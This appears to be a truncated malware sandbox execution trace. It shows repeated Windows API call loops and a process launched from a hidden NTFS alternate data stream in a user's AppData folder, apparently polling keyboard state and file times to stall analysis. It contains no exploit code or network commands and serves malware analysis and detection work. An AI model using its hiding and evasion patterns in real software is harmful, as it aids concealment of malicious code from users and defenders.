NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.776] ResetEvent (hEvent=0x110) returned 1 [0072.776] SetEvent (hEvent=0x114) returned 1 [0072.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.776] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.776] ResetEvent (hEvent=0x110) returned 1 [0072.776] SetEvent (hEvent=0x114) returned 1 [0072.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.776] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.776] ResetEvent (hEvent=0x110) returned 1 [0072.776] SetEvent (hEvent=0x114) returned 1 [0072.776] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.776] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.777] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.777] ResetEvent (hEvent=0x110) returned 1 [0072.777] SetEvent (hEvent=0x114) returned 1 [0072.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.777] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.777] ResetEvent (hEvent=0x110) returned 1 [0072.777] SetEvent (hEvent=0x114) returned 1 [0072.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.777] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.777] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.777] ResetEvent (hEvent=0x110) returned 1 [0072.777] SetEvent (hEvent=0x114) returned 1 [0072.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.778] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.778] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.778] ResetEvent (hEvent=0x110) returned 1 [0072.778] SetEvent (hEvent=0x114) returned 1 [0072.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.778] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.778] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.778] ResetEvent (hEvent=0x110) returned 1 [0072.778] SetEvent (hEvent=0x114) returned 1 [0072.778] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.778] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.778] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.778] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.778] ResetEvent (hEvent=0x110) returned 1 [0072.778] SetEvent (hEvent=0x114) returned 1 [0072.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.779] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.779] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.779] ResetEvent (hEvent=0x110) returned 1 [0072.779] SetEvent (hEvent=0x114) returned 1 [0072.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.779] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.779] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.779] ResetEvent (hEvent=0x110) returned 1 [0072.779] SetEvent (hEvent=0x114) returned 1 [0072.779] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.779] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.779] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.779] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.780] ResetEvent (hEvent=0x110) returned 1 [0072.780] SetEvent (hEvent=0x114) returned 1 [0072.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.780] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.780] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.780] ResetEvent (hEvent=0x110) returned 1 [0072.780] SetEvent (hEvent=0x114) returned 1 [0072.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.780] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.780] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.780] ResetEvent (hEvent=0x110) returned 1 [0072.780] SetEvent (hEvent=0x114) returned 1 [0072.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.780] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.781] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.781] ResetEvent (hEvent=0x110) returned 1 [0072.781] SetEvent (hEvent=0x114) returned 1 [0072.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.781] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.781] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.781] ResetEvent (hEvent=0x110) returned 1 [0072.781] SetEvent (hEvent=0x114) returned 1 [0072.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.781] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.781] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.781] ResetEvent (hEvent=0x110) returned 1 [0072.781] SetEvent (hEvent=0x114) returned 1 [0072.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.782] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.782] ResetEvent (hEvent=0x110) returned 1 [0072.782] SetEvent (hEvent=0x114) returned 1 [0072.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.782] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.782] ResetEvent (hEvent=0x110) returned 1 [0072.782] SetEvent (hEvent=0x114) returned 1 [0072.782] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.782] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.782] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.782] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.782] ResetEvent (hEvent=0x110) returned 1 [0072.782] SetEvent (hEvent=0x114) returned 1 [0072.783] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.783] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.783] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.783] NtQueryObject (in: Handle=0x190, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x333b5000" os_pid = "0x68c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00070ce0" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 352 os_tid = 0x808 Thread: id = 353 os_tid = 0x818 Thread: id = 354 os_tid = 0x828 Thread: id = 355 os_tid = 0x838 Thread: id = 356 os_tid = 0x868 Thread: id = 358 os_tid = 0x898 Thread: id = 406 os_tid = 0xbf0 Process: id = "25" image_name = "q5v3jp~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\q5v3jp~1:bin" page_root = "0x3266a000" os_pid = "0x878" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x734" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 357 os_tid = 0x888 [0034.549] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" [0034.549] GetStockObject (i=168) returned 0x0 [0034.549] GetAsyncKeyState (vKey=58) returned 0 [0034.549] GetKBCodePage () returned 0x1b5 [0034.549] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.564] GetFocus () returned 0x0 [0034.564] GetAsyncKeyState (vKey=58) returned 0 [0034.564] GetKBCodePage () returned 0x1b5 [0034.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.564] GetFocus () returned 0x0 [0034.564] GetAsyncKeyState (vKey=58) returned 0 [0034.564] GetKBCodePage () returned 0x1b5 [0034.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.564] GetFocus () returned 0x0 [0034.564] GetAsyncKeyState (vKey=58) returned 0 [0034.564] GetKBCodePage () returned 0x1b5 [0034.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.564] GetFocus () returned 0x0 [0034.564] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.565] GetFocus () returned 0x0 [0034.565] GetAsyncKeyState (vKey=58) returned 0 [0034.565] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0034.566] GetFocus () returned 0x0 [0034.566] GetAsyncKeyState (vKey=58) returned 0 [0034.566] GetKBCodePage () returned 0x1b5 [0034.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), 